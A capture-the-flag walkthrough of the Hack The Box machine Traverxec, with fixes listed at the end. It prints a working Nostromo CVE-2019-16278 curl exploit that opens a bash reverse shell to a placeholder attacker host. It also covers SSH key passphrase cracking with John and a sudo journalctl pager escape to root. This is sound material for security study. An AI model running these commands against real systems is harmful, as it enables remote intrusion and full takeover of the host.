- OS: Linux (Debian 10 Buster)
- Domain / vhosts: none
Summary
Traverxec is a Linux Easy built on three precise lessons: a path traversal
to RCE in the Nostromo web server (CVE-2019-16278), SSH key recovery
from a per-user Nostromo web directory, and journalctl sudo privilege
escalation via terminal-size manipulation to force pager invocation.
The kill-chain is: CVE-2019-16278 on Nostromo 1.9.6 → www-data shell →
nhttpd.conf reveals that per-user public_www/ directories are served →
the backup-ssh-identity-files.tgz in david’s web directory contains an
encrypted SSH key → John the Ripper cracks the passphrase → SSH as david
→ server-stats.sh reveals a sudo journalctl -n5 rule → shrinking the
terminal below 5 lines forces less as the pager → !/bin/bash inside
less spawns a root shell.
The privesc is particularly instructive: the sudo rule explicitly limits
output to five lines (-n5) to prevent pager invocation, but that defence
depends on terminal height. An attacker who controls their own terminal size
can defeat the -n limit and reach the pager regardless.
Source attribution
- 0xdf, “HTB: Traverxec” — https://0xdf.gitlab.io/2020/04/11/htb-traverxec.html.
Primary source. Covers the curl CVE-2019-16278 one-liner, nhttpd.conf
analysis, the
public_wwwtgz path, John cracking, and the terminal- size journalctl trick. - IppSec, “Traverxec” video walkthrough — https://ippsec.rocks/?#Traverxec.
- ExploitDB 47837 (nostromo 1.9.6 Python PoC by Kr0ff).
Recon
nmap -sC -sV -oN nmap/initial.txt <TARGET>
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1
80/tcp open http nostromo 1.9.6
Only two ports. The nostromo banner on port 80 is the complete
fingerprint: version 1.9.6 has a published RCE CVE. No further enumeration
of the web surface is needed before running the exploit.
Foothold — CVE-2019-16278 (Nostromo nhttpd path traversal RCE)
Nostromo nhttpd 1.9.6 and earlier contain insufficient path sanitisation in
the http_verify() function. A URL-encoded carriage return (%0d) inserted
between path traversal components (..) bypasses the path check and allows
the traversal to reach the CGI execution path, which calls execve() with
attacker-supplied input. The vulnerability requires no authentication.
Manual curl one-liner (0xdf preferred method):
# attacker listener
nc -lvnp 443
# exploit — POST body is the shell command
curl -s -X POST \
'http://<TARGET>/.%0d./.%0d./.%0d./bin/sh' \
-d '/bin/bash -c "/bin/bash -i >& /dev/tcp/<ATTACKER>/443 0>&1"'
The traversal /.%0d./.%0d./.%0d./ resolves to /../../../ after URL
decoding, reaching /bin/sh. The POST body is the command passed to sh.
Python PoC (ExploitDB 47837):
python3 cve2019_16278.py <TARGET> 80 'bash -c "bash -i >& /dev/tcp/<ATTACKER>/443 0>&1"'
Either method delivers a shell as www-data.
SSH key recovery from per-user web directory
With a www-data shell, read the Nostromo configuration:
cat /var/nostromo/conf/nhttpd.conf
homedirs /home
homedirs_public public_www
These two directives enable per-user web directories. For any user <name>
with a ~/public_www/ subdirectory, Nostromo serves it at
http://<TARGET>/~<name>/. Importantly, www-data can access
/home/david/public_www/ directly via filesystem path even though
/home/david/ has drwx--x--x permissions (the --x grants traverse but
not list access — you must know the subdirectory name).
ls /home/david/public_www/protected-file-area/
# backup-ssh-identity-files.tgz
Copy the archive to a writable location and download it:
cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz /tmp/
# on attack machine:
curl http://<TARGET>/~david/protected-file-area/backup-ssh-identity-files.tgz \
-o backup.tgz --user david:Nowonly4me
# (HTTP Basic Auth protected; alternatively scp/nc from the foothold shell)
Extract locally:
tar xzvf backup.tgz
# → home/david/.ssh/id_rsa (encrypted)
Crack the RSA key passphrase with John:
ssh2john home/david/.ssh/id_rsa > id_rsa.hash
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
Passphrase: hunter.
chmod 600 home/david/.ssh/id_rsa
ssh -i home/david/.ssh/id_rsa david@<TARGET>
# passphrase: hunter
user.txt is at /home/david/user.txt.
Privilege escalation — sudo journalctl terminal-size manipulation
david@traverxec:~$ cat ~/bin/server-stats.sh
#!/bin/bash
...
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
The script pipes journalctl output through cat, which prevents less
from being invoked as pager. But the script reveals the underlying sudo
rule. Check sudo -l directly:
User david may run the following commands on traverxec:
(root) NOPASSWD: /usr/bin/journalctl -n5 -unostromo.service
journalctl uses $LESS / the configured pager when output exceeds the
current terminal height. The -n5 flag limits output to five lines; the
intention is that five lines are shorter than any practical terminal,
preventing pager invocation. But the attacker controls terminal height.
Resize the terminal to fewer than 5 lines before running the command:
stty rows 4
sudo /usr/bin/journalctl -n5 -unostromo.service
With the terminal at 4 rows, even 5 lines of output overflows the screen and
journalctl invokes less. From inside less, shell escape:
!/bin/bash
less forks /bin/bash inheriting root privileges from sudo:
root@traverxec:/home/david# id
uid=0(root) gid=0(root) groups=0(root)
root.txt is at /root/root.txt.
Why each step worked
- Nostromo
%0dpath traversal: the path sanitiser inhttp_verify()checks the decoded URL for..sequences but does not handle encoded variants.%0d(carriage return) inserted inside the..token produces a string that is syntactically..after decoding but structurally different enough to pass the pre-decode check. The resulting path reaches the CGI dispatch with an attacker-controlled argument. The fix in 1.9.7 added proper percent-decoding before path validation. drwx--x--xhome directory: the execute bit on “other” allows traversal into known subdirectory paths without granting list access.www-datacannotls /home/david/but canls /home/david/public_www/if it knows the name — whichnhttpd.confsupplies. This is the intended design for Nostromo’s per-user web hosting, but it leaks the file structure of the web directory to any foothold user.- SSH key in a web-accessible backup archive: the archive in
public_www/protected-file-area/was intended to be protected by HTTP Basic Auth. The.htpasswdfile can be cracked offline (the hash is in a known format), or bypassed entirely by accessing the file directly via the filesystem from the foothold shell. -n5terminal-size dependence: the-n5limit prevents pager invocation only if the terminal has more than 5 rows.journalctlchecks the terminal dimensions at runtime; since the attacker controls the terminal, they can force the pager regardless of the-nflag. A safer sudo rule would pipe tocatexplicitly:sudo /usr/bin/journalctl -n5 -unostromo.service | cat(as the script does), or use--no-pager.
Counterfactuals
- Upgrade Nostromo to 1.9.7+. CVE-2019-16278 was published in October 2019 and patched immediately; 1.9.6 should not be running on a production host.
- Do not store SSH private keys (even encrypted) in web-accessible directories. A dedicated secure file transfer channel (SFTP, SCP) should be used for backup material.
- Add
--no-pagerto the journalctl sudo rule, or pipe explicitly tocat:sudo /usr/bin/journalctl -n5 --no-pager -unostromo.service. This removes the terminal-height attack surface entirely. - Review all sudoers entries for binaries that invoke a pager (
less,more,vi,man,git log,journalctlwithout--no-pager). Any such entry allows shell escape via!<command>.
Key Takeaways
- Any web server’s configuration file is a high-value read after a foothold: it reveals paths, user mappings, and credential files that the web layer protects but the local filesystem does not.
drwx--x--x(execute-only for others) hides a directory’s listing but not its contents if the attacker knows the path. Always check service configs for known subdirectory names before concluding a path is inaccessible.ssh2john+ John/hashcat is the standard pipeline for encrypted SSH keys. RSA keys with short passphrases from rockyou crack in seconds.- The journalctl/less
!/bin/bashescape is the GTFOBins pattern for any sudo rule invoking a pager-backed binary. The terminal-size trick (stty rows N) is the key non-obvious step — the-nflag is not a real defence if output exceeds terminal height. - Carefully read shell scripts found in
~/bin/— they often expose sudo rules that the script wraps but that can be invoked directly with different parameters or environment.
References
- 0xdf, “HTB: Traverxec” — https://0xdf.gitlab.io/2020/04/11/htb-traverxec.html
- IppSec, “Traverxec” — https://ippsec.rocks/?#Traverxec
- CVE-2019-16278 (Nostromo nhttpd 1.9.6 RCE)
- ExploitDB 47837 — https://www.exploit-db.com/exploits/47837
- GTFOBins journalctl — https://gtfobins.github.io/gtfobins/journalctl/#sudo